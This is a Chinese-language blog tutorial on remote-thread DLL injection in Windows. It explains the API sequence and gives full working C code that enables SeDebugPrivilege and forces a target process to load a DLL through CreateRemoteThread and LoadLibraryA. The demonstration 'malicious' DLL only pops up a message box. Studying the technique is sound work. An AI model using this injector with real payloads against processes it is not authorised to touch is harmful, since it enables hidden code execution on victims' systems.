远程线程注入DLL

原理

在Windows操作系统中,每个进程的内存空间都是被隔离的,但是某些时候需要两个进程协调工作或者是跨进程操作。“远程线程”意思是跨进程,简单来说就是进程A在进程B中创建一个线程,这就叫远程线程。

DLL文件加载到进程的地址空间中,不会有进程名,隐蔽性较好,方法是强制让某进程加载DLL文件。只要有进程PID,先通过OpenProcess获取该进程句柄,再使用CreateRemoteThread。每个进程地址空间隔离,新创建的线程函数地址也应该在目的进程中,而不应该在本进程中,同样传递给线程函数的参数也应该在目的进程中,ThreadProc与LoadLibrary除了返回值以外基本相同,返回值的问题可以不考虑。直接把LoadLibrary函数作为线程函数创建到指定进程中。

LoadLibrary函数在Kernerl32.dll这个系统dll中,而Kernerl32这个DLL文件在任何进程中的加载位置都相同,也就是说LoadLibrary函数的地址在任何进程中的地址都相同,因此只要在进程中获取LoadLibray函数地址后,该地址在目标进程中也可以用。使用WriteProcessMemory把要注入的DLL文件写入目标进程,该函数第二个参数需要用VirtualAllocEx在目标进程申请一块内存,然后写入dll文件路径

实现过程

原理:先获取进程句柄(OpenProcess)->在目标进程申请一块容纳dll文件路径名的内存(VirtualAllocEx)并写入dll路径名(WriteProcessMemory)->从Kernel32.dll中获取LoadLibraryA函数的地址(GetProcAddress函数)->在目标进程中创建一个线程(CreateRemoteThread),把线程函数地址(ThreadProc)替换为从Kernel32.dll中获取的LoadLibrary地址加载恶意dll

调整进程权限

当前进程权限级别不够时,用OpenProcess()函数打开如smss.exe,winlogon.exe等系统进程时同样会失败,需要调整当前进程为”SeDebugPrivilege”权限。

调整权限3个步骤,调整权限使当前进程拥有”SeDebugPrivilege”权限,拥有这个权限后,当前进程可以访问一些受限的系统资源。

(1)使用OpenProcessToken函数打开当前进程的访问令牌

(2)使用LookupPrivilegeValue()函数取得描述权限的LUID

(3)使用AdjustTokenPrivileges()函数调整访问令牌的权限。

调整权限代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
bool AdjustProcessTokenPrivilege()
{
LUID luidTmp;
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))//使用OpenProcessToken函数打开当前进程的访问令牌
return false;


if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidTmp))//使用LookupPrivilegeValue()函数取得描述权限的LUID
{
CloseHandle(hToken);
return FALSE;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = luidTmp;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))//使用AdjustTokenPrivileges()函数调整访问令牌的权限。
{
CloseHandle(hToken);
return FALSE;
}
return true;
}

相关API函数

OpenProcess

有了进程ID后,用此函数获得进程句柄,返回值为进程的句柄,通过此句柄可结束进程

1
2
3
4
5
HANDLE OpenProcess(
DWORD dwDesiredAccess,//进程想要取得的访问权限,PROCESS_ALL_ACCESS
BOOL bInheritHandle,//获取的句柄是否可继承,一般FALSE
DWORD dwProcessId//要打开的进程ID号
);

GetProcAddress

成功返回导出函数或变量的地址,失败返回NULL

1
2
3
4
FARPROC GetProcAddress(
HMODULE hModule,//LoadLibrary返回句柄
LPCSTR lpProcName//指定要获取函数地址的函数
);

CreateRemoteThread

功能为创建远程线程,相比CreateThread多了一个hProcess参数,该参数指定要创建线程的进程句柄。CreateThread也是依赖于CreateRemoteThread,两个函数都必须传入线程函数参数(ThreadProc)。这里需要给lpStartAddress函数传入LoadLibraryA的地址替代原来调用的线程函数,LoadLibrary通过GetProcAddress函数从Kernel32.dll中获取。

1
2
3
4
5
6
7
8
9
HANDLE CreateRemoteThread(
HANDLE hProcess,//OpenProcess打开的线程句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,//线程函数地址,传入LoadLibrary,该函数地址位于Kernel32.dll,每个进程中都固定,GetProcAddress获取
LPVOID lpParameter,//传给线程函数参数
DWORD dwCreationFlags,
LPDWORD lpThreadId
);

VirtualAllocEx

在目标进程申请一块内存,返回目标进程申请到的内存块的起始地址

1
2
3
4
5
6
7
LPVOID VirtualAllocEx(
HANDLE hProcess,//指定要申请内存的进程句柄
LPVOID lpAddress,//指定申请的起始位置 NULL
SIZE_T dwSize,//指定申请内存的长度 填入申请内存大小,为dll路径的大小
DWORD flAllocationType,//指定申请内存的状态类型
DWORD flProtect//指定申请内存的内存属性
);

WriteProcessMemory

把lpBuffer中的内容写到hProcess指定进程中的lpBaseAddress,使用WriteProcessMemory把要注入的DLL文件路径写入目标进程

1
2
3
4
5
6
7
BOOL WriteProcessMemory(
HANDLE hProcess,//指定进程的进程句柄
LPVOID lpBaseAddress,//指定写入内存的起始地址,先用virtualAllocex在目标进程中申请内存,然后写入dll文件路径
LPCVOID lpBuffer,//指定写入内容的缓冲区
SIZE_T nSize,//写入内容长度
SIZE_T *lpNumberOfBytesWritten//接收实际写入内容长度
);

CloseHandle

对打开的句柄进行关闭释放资源

1
2
3
BOOL CloseHandle(
HANDLE hObject
);

代码

恶意dll代码,功能为弹出MessageBox

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <tchar.h>



BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, _T("Dll Injected"), _T("tips"), MB_OK);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}


注入代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#include<stdio.h>
#include<windows.h>
#include<stdlib.h>
#include<Tlhelp32.h.>
#include<tchar.h>
//提升权限代码
BOOL AdjustProcessTokenPrivilege()
{
LUID luidTmp;
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return false;


if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidTmp))
{
CloseHandle(hToken);
return FALSE;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = luidTmp;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))
{
CloseHandle(hToken);
return FALSE;
}
return true;
}




BOOL LoadDll(DWORD dwProcessID, char* szDllPathName)
{


// #0.提升进程为DEBUG权限
if (!AdjustProcessTokenPrivilege())
{
printf("提权失败\n");
return 0;
}

//获取进程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID);
if (hProcess == NULL)
{
printf("OPENPROCESS Error ! \n");
return FALSE;
}

//在目标进程分配内存并写入dll路径名
LPVOID lpAllocAddr = VirtualAllocEx(hProcess, NULL, strlen(szDllPathName) + 1, MEM_COMMIT, PAGE_READWRITE);

if (lpAllocAddr == NULL)
{
printf("VIRTUALALLOCEX Error ! \n");
GetLastError();
CloseHandle(hProcess);
return FALSE;
}

BOOL bRet = WriteProcessMemory(hProcess, lpAllocAddr, szDllPathName, strlen(szDllPathName) + 1, NULL);

if (!bRet)
{
printf("WriteProcessMemory Error ! \n");
GetLastError();
CloseHandle(hProcess);
return FALSE;
}

//获取LoadLibraryA 函数地址
FARPROC dwLoadAddr = GetProcAddress(GetModuleHandle(_T("kernel32.dll")), "LoadLibraryA");
if (!dwLoadAddr)
{
printf("GetProcAddress Error !\n");
GetLastError();
CloseHandle(hProcess);
return FALSE;
}
//创建远程线程,加载dll
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)dwLoadAddr, lpAllocAddr, 0, NULL);
if (!hThread)
{
printf("CreatRemoteTread Error !\n");
GetLastError();
CloseHandle(hProcess);
return FALSE;
}
CloseHandle(hProcess);

return TRUE;
}

int main()
{
LoadDll(25028, (char*)"C:\\Users\\Administrator\\source\\repos\\Project8\\Project8\\DllTest.dll");
return 0;
}

选择PID为25028的进程进行注入

imgbed.cn图床

注入成功,弹出MessageBox

imgbed.cn图床


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!